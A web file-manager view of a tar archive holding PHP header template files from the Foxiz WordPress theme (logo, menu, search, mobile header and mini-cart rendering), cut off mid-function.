Gestionnaire de fichiers - Editer - /home/wwgoat/public_html/blog/header.tar
Arrière
transparent.php 0000644 00000010755 14720720271 0007630 0 ustar 00 <?php /** Don't load directly */ if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! function_exists( 'foxiz_render_header_t1' ) ) { function foxiz_render_header_t1() { $settings = foxiz_get_header_settings( 'hd1' ); $settings['transparent'] = true; $classes = 'header-wrap rb-section header-set-1 header-1 header-transparent'; if ( ! empty( $settings['hd1_width'] ) ) { $classes .= ' header-fw'; } ?> <header id="site-header" class="<?php echo esc_attr( $classes ); ?>"> <?php foxiz_render_top_site(); foxiz_reading_process_indicator(); ?> <div id="navbar-outer" class="navbar-outer"> <div id="sticky-holder" class="sticky-holder"> <div class="navbar-wrap navbar-transparent"> <div class="rb-container edge-padding"> <div class="navbar-inner"> <div class="navbar-left"> <?php foxiz_render_logo( $settings ); foxiz_render_main_menu( 'transparent-menu', $settings['sub_scheme'] ); foxiz_header_more( $settings ); foxiz_single_sticky(); ?> </div> <div class="navbar-right"> <?php foxiz_render_nav_right( $settings ); ?> </div> </div> </div> </div> <?php foxiz_header_mobile( $settings ); foxiz_header_alert( $settings ); ?> </div> </div> <?php if ( is_active_sidebar( 'foxiz_header_ad' ) ) { dynamic_sidebar( 'foxiz_header_ad' ); } ?> </header> <?php } } if ( ! function_exists( 'foxiz_render_header_t2' ) ) { function foxiz_render_header_t2() { $settings = foxiz_get_header_settings( 'hd1' ); $settings['transparent'] = true; $classes = 'header-wrap rb-section header-set-1 header-2 header-transparent'; if ( ! empty( $settings['hd1_width'] ) ) { $classes .= ' header-fw'; } ?> <header id="site-header" class="<?php echo esc_attr( $classes ); ?>"> <?php foxiz_render_top_site(); foxiz_reading_process_indicator(); ?> <div id="navbar-outer" class="navbar-outer"> <div id="sticky-holder" class="sticky-holder"> <div class="navbar-wrap navbar-transparent"> <div class="rb-container edge-padding"> <div class="navbar-inner"> <div class="navbar-left"> <?php foxiz_render_logo( $settings ); ?> </div> <div class="navbar-center"> <?php foxiz_render_main_menu( false, $settings['sub_scheme'] ); foxiz_header_more( $settings ); foxiz_single_sticky(); ?> </div> <div class="navbar-right"> <?php foxiz_render_nav_right( $settings ); ?> </div> </div> </div> </div> <?php foxiz_header_mobile( $settings ); foxiz_header_alert( $settings ); ?> </div> </div> <?php if ( is_active_sidebar( 'foxiz_header_ad' ) ) { dynamic_sidebar( 'foxiz_header_ad' ); } ?> </header> <?php } } if ( ! function_exists( 'foxiz_render_header_t3' ) ) { function foxiz_render_header_t3() { $settings = foxiz_get_header_settings( 'hd1' ); $settings['transparent'] = true; $classes = 'header-wrap rb-section header-set-1 header-3 header-transparent'; if ( ! empty( $settings['hd1_width'] ) ) { $classes .= ' header-fw'; } ?> <header id="site-header" class="<?php echo esc_attr( $classes ); ?>"> <?php foxiz_render_top_site(); foxiz_reading_process_indicator(); ?> <div id="navbar-outer" class="navbar-outer"> <div id="sticky-holder" class="sticky-holder"> <div class="navbar-wrap navbar-transparent"> <div class="rb-container edge-padding"> <div class="navbar-inner"> <div class="navbar-left"> <?php foxiz_render_logo( $settings ); ?> </div> <div class="navbar-center"> <?php foxiz_render_main_menu( false, $settings['sub_scheme'] ); foxiz_header_more( $settings ); foxiz_single_sticky(); ?> </div> <div class="navbar-right"> <?php foxiz_render_nav_right( $settings ); ?> </div> </div> </div> </div> <?php foxiz_header_mobile( $settings ); foxiz_header_alert( $settings ); ?> </div> </div> <?php if ( is_active_sidebar( 'foxiz_header_ad' ) ) { dynamic_sidebar( 'foxiz_header_ad' ); } ?> </header> <?php } } templates.php 0000644 00000102717 14720720271 0007265 0 ustar 00 <?php /** Don't load directly */ if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! function_exists( 'foxiz_render_header' ) ) { /** * @return mixed */ function foxiz_render_header() { if ( foxiz_is_amp() ) { foxiz_render_header_amp(); } else { $func = 'foxiz_render_header_' . foxiz_get_header_style(); if ( function_exists( $func ) ) { return call_user_func( $func ); } else { foxiz_render_header_1(); } } } } if ( ! function_exists( 'foxiz_render_text_logo' ) ) { /** * @param array $settings */ function foxiz_render_text_logo( $settings = array() ) { $blog_name = get_bloginfo( 'name' ); $class_name = 'logo-wrap is-text-logo site-branding'; if ( ! empty( $settings['transparent'] ) ) { $class_name = ' is-logo-transparent'; } ?> <div class="<?php echo esc_attr( $class_name ); ?>"> <?php if ( is_front_page() ) : ?> <h1 class="logo-title"> <a href="<?php echo esc_url( home_url( '/' ) ); ?>" title="<?php echo esc_attr( $blog_name ) ?>"><?php echo esc_html( $blog_name ); ?></a> </h1> <?php else: ?> <p class="logo-title h1"> <a href="<?php echo esc_url( home_url( '/' ) ); ?>" title="<?php echo esc_attr( $blog_name ) ?>"><?php echo esc_html( $blog_name ); ?></a> </p> <?php endif; if ( get_bloginfo( 'description' ) ) : ?> <p class="site-description is-hidden"><?php bloginfo( 'description' ); ?></p> <?php endif; ?> </div><?php } } if ( ! function_exists( 'foxiz_get_logo_html' ) ) { /** * @param $logo * @param false $retina_logo * @param string $classes * @param string $mode * * @return false|string */ function foxiz_get_logo_html( $logo, $retina_logo = false, $classes = 'logo-default', $mode = 'default' ) { if ( empty( $logo['url'] ) && empty( $retina_logo['url'] ) ) { return false; } if ( empty( $retina_logo['url'] ) ) { $output = '<img class="' . esc_attr( $classes ) . '"'; if ( ! empty( $mode ) ) { $output .= ' data-mode="' . esc_attr( $mode ) . '"'; } if ( ! empty( $logo['height'] ) ) { $output .= ' height="' . esc_attr( $logo['height'] ) . '"'; } if ( ! empty( $logo['width'] ) ) { $output .= ' width="' . esc_attr( $logo['width'] ) . '"'; } $output .= ' src="' . esc_url( $logo['url'] ) . '"'; $output .= ' alt="' . get_bloginfo( 'name' ) . '">'; return $output; } elseif ( empty( $logo['url'] ) ) { $logo = $retina_logo; $output = '<img class="' . esc_attr( $classes ) . '"'; if ( ! empty( $mode ) ) { $output .= ' data-mode="' . esc_attr( $mode ) . '"'; } if ( ! empty( $logo['height'] ) ) { $output .= ' height="' . intval( $logo['height'] / 2 ) . '"'; } if ( ! empty( $logo['width'] ) ) { $output .= ' width="' . intval( $logo['width'] / 2 ) . '"'; } $output .= ' src="' . esc_url( $logo['url'] ) . '"'; $output .= ' alt="' . get_bloginfo( 'name' ) . '">'; return $output; } $output = '<img class="' . esc_attr( $classes ) . '"'; if ( ! empty( $mode ) ) { $output .= ' data-mode="' . esc_attr( $mode ) . '"'; } if ( ! empty( $logo['height'] ) ) { $output .= ' height="' . esc_attr( $logo['height'] ) . '"'; } if ( ! empty( $logo['width'] ) ) { $output .= ' width="' . esc_attr( $logo['width'] ) . '"'; } $output .= ' src="' . esc_url( $logo['url'] ) . '" srcset="' . esc_url( $logo['url'] ) . ' 1x,' . esc_url( $retina_logo['url'] ) . ' 2x"'; $output .= ' alt="' . get_bloginfo( 'name' ) . '">'; return $output; } } if ( ! function_exists( 'foxiz_render_logo' ) ) { /** * @param array $settings * * @return false */ function foxiz_render_logo( $settings = array() ) { if ( empty( $settings['logo']['url'] ) && empty( $settings['retina_logo']['url'] ) ) { foxiz_render_text_logo(); return false; } $blog_name = get_bloginfo( 'name' ); $class_name = array(); $class_name[] = 'logo-wrap'; if ( ! empty( $settings['classes'] ) ) { $class_name[] = $settings['classes']; } $class_name[] = 'is-image-logo site-branding'; if ( foxiz_is_svg( $settings['logo']['url'] ) ) { $class_name[] = 'is-logo-svg'; } ?> <div class="<?php echo implode( ' ', $class_name ); ?>"> <a href="<?php echo esc_url( home_url( '/' ) ); ?>" class="logo" title="<?php echo esc_attr( $blog_name ); ?>"> <?php echo foxiz_get_logo_html( $settings['logo'], $settings['retina_logo'] ); if ( foxiz_dark_mode() ) { echo foxiz_get_logo_html( $settings['dark_logo'], $settings['dark_retina_logo'], 'logo-dark', 'dark' ); } if ( ! empty( $settings['transparent'] ) ) { echo foxiz_get_logo_html( $settings['transparent_logo'], $settings['transparent_retina_logo'], 'logo-transparent', false ); } if ( is_front_page() && empty( $settings['disable_info'] ) ) : ?> <h1 class="logo-title hidden"><?php echo esc_html( $blog_name ); ?></h1> <?php if ( get_bloginfo( 'description' ) ) : ?> <p class="site-description hidden"><?php bloginfo( 'description' ); ?></p> <?php endif; endif; ?> </a> </div> <?php } } if ( ! function_exists( 'foxiz_render_mobile_logo' ) ) { /** * @param array $settings * * @return false */ function foxiz_render_mobile_logo( $settings = array() ) { if ( empty( $settings['mobile_logo']['url'] ) ) { $settings['classes'] = 'mobile-logo-wrap'; foxiz_render_logo( $settings ); return false; } $blog_name = get_bloginfo( 'name' ); $class_name = array(); $class_name[] = 'mobile-logo-wrap is-image-logo site-branding'; if ( foxiz_is_svg( $settings['mobile_logo']['url'] ) ) { $class_name[] = 'is-logo-svg'; } ?> <div class="<?php echo implode( ' ', $class_name ); ?>"> <a href="<?php echo esc_url( home_url( '/' ) ); ?>" title="<?php echo esc_attr( $blog_name ) ?>"> <?php echo foxiz_get_logo_html( $settings['mobile_logo'] ); if ( foxiz_dark_mode() ) { if ( empty( $settings['dark_mobile_logo']['url'] ) ) { $settings['dark_mobile_logo'] = $settings['dark_logo']; } echo foxiz_get_logo_html( $settings['dark_mobile_logo'], false, 'logo-dark', 'dark' ); } ?> </a> </div> <?php } } if ( ! function_exists( 'foxiz_render_top_site' ) ) { /** * render top site */ function foxiz_render_top_site() { do_action( 'foxiz_top_site' ); } } if ( ! function_exists( 'foxiz_render_main_menu' ) ) { /** * @param string $classes * @param false $sub_scheme */ function foxiz_render_main_menu( $classes = '', $sub_scheme = false ) { $class_name = 'main-menu-wrap'; if ( ! empty( $classes ) ) { $class_name .= ' ' . $classes; } $args = array( 'theme_location' => 'foxiz_main', 'menu_id' => false, 'container' => '', 'menu_class' => 'main-menu rb-menu large-menu', 'walker' => new Foxiz_Walker_Nav_Menu(), 'depth' => 4, 'items_wrap' => '<ul id="%1$s" class="%2$s" itemscope itemtype="' . foxiz_protocol() . '://www.schema.org/SiteNavigationElement">%3$s</ul>', 'echo' => true, 'fallback_cb' => 'foxiz_navigation_fallback', 'fallback_name' => esc_html__( 'Main Menu', 'foxiz' ) ); if ( ! empty( $sub_scheme ) ) { $args['sub_scheme'] = 'light-scheme'; } ?> <nav id="site-navigation" class="<?php echo esc_attr( $class_name ); ?>" aria-label="<?php esc_attr_e( 'main menu', 'foxiz' ); ?>"><?php wp_nav_menu( $args ); ?></nav> <?php } } if ( ! function_exists( 'foxiz_render_nav_right' ) ) { /** * @param $settings */ function foxiz_render_nav_right( $settings ) { if ( ! empty( $settings['header_login_icon'] ) ) { foxiz_header_user( $settings ); } if ( ! empty( $settings['header_socials'] ) ) { foxiz_header_socials( $settings ); } foxiz_header_mini_cart(); if ( ! empty( $settings['header_notification'] ) ) { foxiz_header_notification( $settings ); } if ( ! empty( $settings['header_search_icon'] ) ) { foxiz_header_search( $settings ); } if ( ! empty( $settings['single_font_resizer'] ) ) { foxiz_header_font_resizer(); } foxiz_dark_mode_switcher( $settings ); } } if ( ! function_exists( 'foxiz_header_user' ) ) { /** * @param array $settings */ function foxiz_header_user( $settings = array() ) { ?> <div class="wnav-holder widget-h-login header-dropdown-outer"> <?php if ( is_user_logged_in() && ! is_admin() ) : global $current_user; ?> <a class="dropdown-trigger is-logged header-element" href="#"> <span class="logged-avatar"><?php echo get_avatar( $current_user->ID, 60 ); ?></span> <span class="logged-welcome"><?php echo foxiz_html__( 'Hi,', 'foxiz' ) . '<strong>' . $current_user->display_name . '</strong>'; ?></span> </a> <div class="header-dropdown user-dropdown"> <?php if ( ! empty( $settings['header_login_menu'] ) ) { wp_nav_menu( array( 'menu' => $settings['header_login_menu'], 'menu_class' => 'logged-user-menu', 'menu_id' => false, 'container' => false, 'depth' => 1, 'echo' => true, 'fallback_cb' => '__return_false', ) ); } $logout_link = foxiz_get_option( 'header_logout_redirect' ); if ( empty( $logout_link ) ) { $logout_link = home_url( '/' ); } ?> <div class="logout-wrap"> <a class="logout-url" href="<?php echo wp_logout_url( $logout_link ); ?>"><?php echo foxiz_html__( 'Sign Out', 'foxiz' ) . foxiz_get_svg( 'logout' ); ?></a> </div> </div> <?php else : ?> <?php if ( empty( $settings['header_login_layout'] ) ) : ?> <a href="#" class="login-toggle is-login header-element" data-title="<?php foxiz_html_e( 'Sign In', 'foxiz' ); ?>"><?php foxiz_render_svg( 'user' ); ?></a> <?php else : ?> <a href="#" class="login-toggle is-login is-btn header-element"><span><?php foxiz_html_e( 'Sign In', 'foxiz' ); ?></span></a> <?php endif; ?> <?php endif; ?> </div> <?php } } if ( ! function_exists( 'foxiz_header_search' ) ) { /** * @param array $settings */ function foxiz_header_search( $settings = array() ) { $class_name = array(); $custom_svg = ''; $class_name[] = 'icon-holder header-element search-btn'; if ( empty( $settings['header_search_mode'] ) || 'search' === $settings['header_search_mode'] ) { $class_name[] = 'search-trigger'; } else { $class_name[] = 'more-trigger'; } $dropdown_classes = 'header-dropdown'; if ( ! empty( $settings['header_search_scheme'] ) ) { $dropdown_classes .= ' light-scheme'; } ?> <div class="wnav-holder w-header-search header-dropdown-outer"> <a href="#" data-title="<?php foxiz_html_e( 'Search', 'foxiz' ); ?>" class="<?php echo join( ' ', $class_name ); ?>"> <?php if ( ! empty( $settings['header_search_custom_icon']['url'] ) ) : $custom_svg = $settings['header_search_custom_icon']; ?><span class="wnav-svg"> <img class="svg" height="<?php echo ( ! empty( $settings['header_search_custom_icon']['height'] ) ) ? esc_attr( $settings['header_search_custom_icon']['height'] ) : ''; ?>" width="<?php echo ( ! empty( $settings['header_search_custom_icon']['width'] ) ) ? esc_attr( $settings['header_search_custom_icon']['width'] ) : '';; ?>" src="<?php echo esc_url( $settings['header_search_custom_icon']['url'] ); ?>" alt="<?php foxiz_attr_e( 'search', 'foxiz' ) ?>"> </span> <?php else : echo '<i class="rbi rbi-search wnav-icon"></i>'; endif; ?> </a> <?php if ( empty( $settings['header_search_mode'] ) || 'search' === $settings['header_search_mode'] ) : $form_classes = 'header-search-form'; if ( ! empty( $settings['ajax_search'] ) ) { $form_classes .= ' live-search-form'; } ?> <div class="<?php echo esc_attr( $dropdown_classes ); ?>"> <div class="<?php echo esc_attr( $form_classes ); ?>"> <?php foxiz_search_form( $placeholder = '', $label = '', $icon = true, $custom_svg ); ?> <?php if ( ! empty( $settings['ajax_search'] ) ) : ?> <span class="live-search-animation rb-loader"></span> <div class="live-search-response"></div> <?php endif; ?> </div> </div> <?php endif; ?> </div> <?php } } if ( ! function_exists( 'foxiz_header_search_form' ) ) { /** * @param array $settings */ function foxiz_header_search_form( $settings = array() ) { $class_name = 'header-search-form'; if ( foxiz_get_option( 'ajax_search' ) ) { $class_name .= ' live-search-form'; } ?> <div class="<?php echo esc_attr( $class_name ); ?>"> <?php if ( ! empty( $settings['header_search_heading'] ) ) : ?> <span class="h5"><?php echo esc_html( $settings['header_search_heading'] ); ?></span> <?php endif; if ( foxiz_get_option( 'ajax_search' ) ) : ?> <div class="live-search-form-outer"> <?php foxiz_search_form(); ?> <span class="live-search-animation rb-loader"></span> <div class="live-search-absolute live-search-response"></div> </div> <?php else : foxiz_search_form(); endif; ?></div> <?php } } if ( ! function_exists( 'foxiz_burger_icon' ) ) { function foxiz_burger_icon() { ?> <span class="burger-icon"><span></span><span></span><span></span></span> <?php } } if ( ! function_exists( 'foxiz_header_more' ) ) { /** * @param $settings * * @return false */ function foxiz_header_more( $settings ) { if ( empty( $settings['more'] ) ) { return false; } ?> <div class="more-section-outer menu-has-child-flex menu-has-child-mega-columns layout-col-<?php echo foxiz_get_option( 'more_column', 2 ); ?>"> <a class="more-trigger icon-holder" href="#" data-title="<?php foxiz_html_e( 'More', 'foxiz' ); ?>"> <span class="dots-icon"><span></span><span></span><span></span></span> </a> <div id="rb-more" class="more-section flex-dropdown"> <div class="more-section-inner"> <div class="more-content"> <?php if ( ! empty( $settings['more_search'] ) ) { foxiz_header_search_form( $settings ); } if ( is_active_sidebar( 'foxiz_sidebar_more' ) ) : ?> <div class="mega-columns"> <?php dynamic_sidebar( 'foxiz_sidebar_more' ); ?> </div> <?php endif; ?> </div> <?php if ( ! empty( $settings['more_footer_menu'] ) || ! empty( $settings['more_footer_copyright'] ) ) : ?> <div class="collapse-footer"> <?php if ( ! empty( $settings['more_footer_menu'] ) ) : ?> <div class="collapse-footer-menu"><?php wp_nav_menu( array( 'menu' => $settings['more_footer_menu'], 'menu_id' => false, 'container' => false, 'menu_class' => 'collapse-footer-menu-inner', 'depth' => 1, 'echo' => true, 'fallback_cb' => '__return_false', ) ); ?></div> <?php endif; if ( ! empty( $settings['more_footer_copyright'] ) ) : ?> <div class="collapse-copyright"><?php echo wp_kses( $settings['more_footer_copyright'], 'foxiz' ); ?></div> <?php endif; ?> </div> <?php endif; ?> </div> </div> </div> <?php } } if ( ! function_exists( 'foxiz_header_mobile' ) ) { /** * @param $settings */ function foxiz_header_mobile( $settings = array() ) { ?> <div id="header-mobile" class="header-mobile"> <div class="header-mobile-wrap"> <?php if ( empty( $settings['mh_layout'] ) ) { foxiz_header_mobile_layout_default( $settings ); } elseif ( '1' === (string) $settings['mh_layout'] ) { foxiz_header_mobile_layout_center( $settings ); } elseif ( '2' === (string) $settings['mh_layout'] ) { foxiz_header_mobile_layout_left_logo( $settings ); } echo foxiz_get_mobile_quick_access(); ?> </div> <?php foxiz_mobile_collapse( $settings ); ?> </div> <?php } } if ( ! function_exists( 'foxiz_get_mobile_quick_access' ) ) { function foxiz_get_mobile_quick_access() { return wp_nav_menu( array( 'theme_location' => 'foxiz_mobile_quick', 'container_class' => 'mobile-qview', 'menu_class' => 'mobile-qview-inner', 'depth' => 1, 'echo' => false, 'fallback_cb' => '__return_false', ) ); } } if ( ! function_exists( 'foxiz_header_mobile_layout_default' ) ) { /** * @param $settings */ function foxiz_header_mobile_layout_default( $settings = array() ) { ?> <div class="mbnav edge-padding"> <div class="navbar-left"> <div class="mobile-toggle-wrap"> <?php if ( ! foxiz_is_amp() ) : ?> <a href="#" class="mobile-menu-trigger"><?php foxiz_burger_icon(); ?></a> <?php else : ?> <span class="mobile-menu-trigger" on="tap:AMP.setState({collapse: !collapse})"><?php foxiz_burger_icon(); ?></span> <?php endif; ?> </div> <?php foxiz_render_mobile_logo( $settings ); ?> </div> <div class="navbar-right"> <?php foxiz_mobile_header_mini_cart(); foxiz_mobile_search_icon(); if ( ! empty( $settings['single_font_resizer'] ) ) { foxiz_header_font_resizer(); } foxiz_dark_mode_switcher( $settings ); ?> </div> </div> <?php } } if ( ! function_exists( 'foxiz_header_mobile_layout_center' ) ) { /** * @param $settings */ function foxiz_header_mobile_layout_center( $settings = array() ) { ?> <div class="mbnav mbnav-center edge-padding"> <div class="navbar-left"> <div class="mobile-toggle-wrap"> <?php if ( ! foxiz_is_amp() ) : ?> <a href="#" class="mobile-menu-trigger"><?php foxiz_burger_icon(); ?></a> <?php else : ?> <span class="mobile-menu-trigger" on="tap:AMP.setState({collapse: !collapse})"><?php foxiz_burger_icon(); ?></span> <?php endif; ?> </div> <?php if ( ! empty( $settings['single_font_resizer'] ) ) { foxiz_header_font_resizer(); } ?> </div> <div class="navbar-center"> <?php foxiz_render_mobile_logo( $settings ); ?> </div> <div class="navbar-right"> <?php foxiz_mobile_header_mini_cart(); foxiz_mobile_search_icon(); foxiz_dark_mode_switcher( $settings ); ?> </div> </div> <?php } } if ( ! function_exists( 'foxiz_header_mobile_layout_left_logo' ) ) { /** * @param $settings */ function foxiz_header_mobile_layout_left_logo( $settings = array() ) { ?> <div class="mbnav edge-padding"> <div class="navbar-left"> <?php foxiz_render_mobile_logo( $settings ); ?> </div> <div class="navbar-right"> <?php foxiz_mobile_header_mini_cart(); foxiz_mobile_search_icon(); if ( ! empty( $settings['single_font_resizer'] ) ) { foxiz_header_font_resizer(); } foxiz_dark_mode_switcher( $settings ); ?> <div class="mobile-toggle-wrap"> <?php if ( ! foxiz_is_amp() ) : ?> <a href="#" class="mobile-menu-trigger"><?php foxiz_burger_icon(); ?></a> <?php else : ?> <span class="mobile-menu-trigger" on="tap:AMP.setState({collapse: !collapse})"><?php foxiz_burger_icon(); ?></span> <?php endif; ?> </div> </div> </div> <?php } } if ( ! function_exists( 'foxiz_mobile_collapse' ) ) { /** * @param $settings */ function foxiz_mobile_collapse( $settings = array() ) { ?> <div class="mobile-collapse"> <div class="mobile-collapse-holder"> <div class="mobile-collapse-inner"> <div class="mobile-search-form edge-padding"><?php foxiz_header_search_form( $settings ); ?></div> <nav class="mobile-menu-wrap edge-padding"> <?php wp_nav_menu( array( 'theme_location' => 'foxiz_mobile', 'menu_id' => 'mobile-menu', 'menu_class' => 'mobile-menu', 'container' => false, 'depth' => 2, 'echo' => true, 'fallback_cb' => 'foxiz_navigation_fallback', 'fallback_name' => esc_html__( 'Mobile Menu', 'foxiz' ) ) ); ?> </nav> <div class="mobile-collapse-sections edge-padding"> <?php if ( ! empty( $settings['mobile_login'] ) && ! is_user_logged_in() && ! foxiz_is_amp() ) : ?> <div class="mobile-login"> <span class="mobile-login-title h6"><?php foxiz_html_e( 'Have an existing account?', 'foxiz' ); ?></span> <a href="#" class="login-toggle is-login is-btn"><?php foxiz_html_e( 'Sign In', 'foxiz' ); ?></a> </div> <?php endif; if ( ! empty( $settings['mobile_social'] ) ) : ?> <div class="mobile-social-list"> <span class="mobile-social-list-title h6"><?php foxiz_html_e( 'Follow US', 'foxiz' ); ?></span> <?php echo foxiz_get_social_list( $settings ); ?> </div> <?php endif; ?> </div> <?php if ( ! empty( $settings['mobile_footer_menu'] ) || ! empty( $settings['mobile_copyright'] ) ) : ?> <div class="collapse-footer"> <?php if ( ! empty( $settings['mobile_footer_menu'] ) ) : ?> <div class="collapse-footer-menu"><?php wp_nav_menu( array( 'menu' => $settings['mobile_footer_menu'], 'menu_id' => false, 'container' => false, 'menu_class' => 'collapse-footer-menu-inner', 'depth' => 1, 'echo' => true, 'fallback_cb' => '__return_false', ) ); ?></div> <?php endif; if ( ! empty( $settings['mobile_copyright'] ) ) : ?> <div class="collapse-copyright"><?php echo wp_kses( $settings['mobile_copyright'], 'foxiz' ); ?></div> <?php endif; ?> </div> <?php endif; ?> </div> </div> </div> <?php } } if ( ! function_exists( 'foxiz_dark_mode_switcher' ) ) { /** * @param array $settings * * @return false */ function foxiz_dark_mode_switcher( $settings = array() ) { if ( empty( $settings['dark_mode'] ) || foxiz_is_amp() ) { return false; } ?> <div class="dark-mode-toggle-wrap"> <div class="dark-mode-toggle"> <span class="dark-mode-slide"> <i class="dark-mode-slide-btn mode-icon-dark" data-title="<?php foxiz_html_e( 'Switch to Light', 'foxiz' ); ?>"><?php foxiz_render_svg( 'mode-dark' ); ?></i> <i class="dark-mode-slide-btn mode-icon-default" data-title="<?php foxiz_html_e( 'Switch to Dark', 'foxiz' ); ?>"><?php foxiz_render_svg( 'mode-light' ); ?></i> </span> </div> </div> <?php } } if ( ! function_exists( 'foxiz_header_notification' ) ) { /** * @param array $settings * * @return false */ function foxiz_header_notification( $settings = array() ) { if ( foxiz_is_amp() ) { return false; } $new_notification = get_option( 'rb_push_notification' ); $classes = 'notification-popup'; if ( ! empty( $settings['header_notification_scheme'] ) ) { $classes .= ' light-scheme'; } ?> <div class="wnav-holder header-dropdown-outer"> <a href="#" class="dropdown-trigger notification-icon" data-notification="<?php echo esc_attr( $new_notification ); ?>"> <span class="notification-icon-inner" data-title="<?php foxiz_html_e( 'Notification', 'foxiz' ); ?>"><i class="rbi rbi-notification wnav-icon"><span class="notification-info"></span></i></span> </a> <div class="header-dropdown notification-dropdown"> <div class="<?php echo esc_attr( $classes ); ?>"> <div class="notification-header"> <span class="h4"><?php foxiz_html_e( 'Notification', 'foxiz' ); ?></span> <?php if ( ! empty( $settings['header_notification_url'] ) ) : ?> <a class="notification-url meta-text" href="<?php echo esc_url( $settings['header_notification_url'] ); ?>"><?php foxiz_html_e( 'Show More', 'foxiz' ); ?> <i class="rbi rbi-cright"></i></a> <?php endif; ?> </div> <div class="notification-content"> <div class="scroll-holder"> <?php $bookmark_query = Foxiz_Bookmark::get_instance()->get_query(); if ( ! empty( $bookmark_query ) && $bookmark_query->have_posts() ) : ?> <div class="notification-bookmark"> <span class="h4 notification-content-title"><i class="rbi rbi-bookmark-fill"></i><?php foxiz_html_e( 'Reading List', 'foxiz' ); ?></span> <div class="notification-bookmark-content"> <?php foxiz_loop_list_small_2( array( 'design_override' => true, 'edit_link' => false, 'bookmark' => false, 'entry_meta' => 'date', ), $bookmark_query ); wp_reset_postdata(); ?> </div> </div> <?php endif; ?> <div class="notification-latest"> <span class="h5 notification-content-title"><i class="rbi rbi-clock"></i><?php foxiz_html_e( 'Latest News', 'foxiz' ); ?></span> <?php echo foxiz_get_list_small_2( array( 'design_override' => true, 'uuid' => 'uid_notification', 'edit_link' => false, 'bookmark' => false, 'entry_meta' => 'date', 'pagination' => 'infinite_scroll', 'posts_per_page' => 5, 'order' => 'post_date', 'duplicate_allowed' => 1, ) ); ?> </div> </div> </div> </div> </div> </div> <?php } } if ( ! function_exists( 'foxiz_header_font_resizer' ) ) { /** * @return false|void */ function foxiz_header_font_resizer() { if ( ! is_singular( array( 'post', 'rb-etemplate' ) ) || foxiz_is_amp() ) { return false; } ?> <div class="wnav-holder font-resizer"> <a href="#" class="font-resizer-trigger" data-title="<?php foxiz_html_e( 'Resizer', 'foxiz' ) ?>"><strong><?php echo foxiz_html__( 'Aa', 'foxiz' ) ?></strong></a> </div> <?php } } if ( ! function_exists( 'foxiz_header_alert' ) ) { /** * @param $settings * * @return false */ function foxiz_header_alert( $settings ) { $alert_bar = rb_get_meta( 'alert_bar', get_the_ID() ); if ( ! empty( $alert_bar ) && '-1' === (string) $alert_bar ) { return false; } if ( ! empty( $alert_bar ) && '1' === (string) $alert_bar ) { echo foxiz_get_header_alert( $settings ); return false; } if ( empty( $settings['alert_bar'] ) || ( ! empty( $settings['alert_home'] ) && ! is_front_page() ) ) { return false; } echo foxiz_get_header_alert( $settings ); } } if ( ! function_exists( 'foxiz_get_header_alert' ) ) { /** * @param $settings * * @return string */ function foxiz_get_header_alert( $settings ) { if ( empty( $settings['alert_content'] ) || empty( $settings['alert_url'] ) ) { return false; } $class_name = 'header-alert edge-padding'; if ( ! empty( $settings['alert_sticky_hide'] ) ) { $class_name .= ' is-sticky-hide'; } $output = '<a id="header-alert" class="' . esc_attr( $class_name ) . '" href="' . esc_url( $settings['alert_url'] ) . '" target="_blank" rel="noreferrer nofollow">'; $output .= esc_html( trim( $settings['alert_content'] ) ); $output .= '</a>'; return $output; } } if ( ! function_exists( 'foxiz_top_ad' ) ) { /** * @return false|void */ function foxiz_top_ad() { if ( ! foxiz_get_option( 'ad_top_code' ) && ! foxiz_get_option( 'ad_top_image' ) ) { return false; } $disable_top_ad = rb_get_meta( 'disable_top_ad', get_the_ID() ); if ( ! empty( $disable_top_ad ) && '-1' === (string) $disable_top_ad ) { return false; } $classes = 'top-site-ad'; if ( foxiz_get_option( 'ad_top_spacing' ) ) { $classes .= ' no-spacing'; } if ( foxiz_get_option( 'ad_top_type' ) ) { $settings = array( 'code' => foxiz_get_option( 'ad_top_code' ), 'size' => foxiz_get_option( 'ad_top_size' ), 'desktop_size' => foxiz_get_option( 'ad_top_desktop_size' ), 'tablet_size' => foxiz_get_option( 'ad_top_tablet_size' ), 'mobile_size' => foxiz_get_option( 'ad_top_mobile_size' ) ); if ( foxiz_get_adsense( $settings ) ) { echo '<div class="' . esc_attr( $classes ) . '">' . foxiz_get_adsense( $settings ) . '</div>'; } } else { $settings = array( 'image' => foxiz_get_option( 'ad_top_image' ), 'dark_image' => foxiz_get_option( 'ad_top_dark_image' ), 'destination' => foxiz_get_option( 'ad_top_destination' ) ); if ( foxiz_get_ad_image( $settings ) ) { echo '<div class="' . esc_attr( $classes ) . '">' . foxiz_get_ad_image( $settings ) . '</div>'; } } } } if ( ! function_exists( 'foxiz_header_socials' ) ) { function foxiz_header_socials( $settings = array() ) { if ( ! empty( $settings['header_socials'] ) ) : ?> <div class="header-social-list wnav-holder"><?php echo foxiz_get_social_list( $settings ); ?></div> <?php endif; } } if ( ! function_exists( 'foxiz_header_mini_cart' ) ) { /** * @return false */ function foxiz_header_mini_cart() { if ( ! foxiz_get_option( 'wc_mini_cart' ) || ! class_exists( 'Woocommerce' ) || ! function_exists( 'wc_get_cart_url' ) || foxiz_is_amp() ) { return false; } foxiz_header_mini_cart_html(); } } if ( ! function_exists( 'foxiz_mobile_header_mini_cart' ) ) { /** * @return false */ function foxiz_mobile_header_mini_cart() { if ( ! foxiz_get_option( 'wc_mobile_mini_cart' ) || ! class_exists( 'Woocommerce' ) || ! function_exists( 'wc_get_cart_url' ) ) { return false; } foxiz_header_mini_cart_html( false ); } } if ( ! function_exists( 'foxiz_header_mini_cart_html' ) ) { function foxiz_header_mini_cart_html( $dropdown_section = true ) { $class_name = 'cart-link'; if ( ! empty( $dropdown_section ) ) { $class_name .= ' dropdown-trigger'; } ?> <aside class="header-mini-cart wnav-holder header-dropdown-outer"> <a class="<?php echo esc_attr($class_name); ?>" href="<?php echo esc_url( wc_get_cart_url() ) ?>" data-title="<?php foxiz_attr_e( 'View Cart', 'foxiz' ); ?>"> <span class="cart-icon"><i class="wnav-icon rbi rbi-cart"></i><span class="cart-counter"><?php echo esc_attr( ( is_object( WC()->cart ) ) ? WC()->cart->cart_contents_count : '0' ); ?></span></span> </a> <?php if ( $dropdown_section && function_exists( 'woocommerce_mini_cart' ) && ! is_admin() ): ?> <div class="header-dropdown nav-mini-cart"> <div class="mini-cart-wrap woocommerce"> <div class="widget_shopping_cart_content"> <?php woocommerce_mini_cart(); ?> </div> </div> </div> <?php endif; ?> </aside> <?php } } if ( ! function_exists( 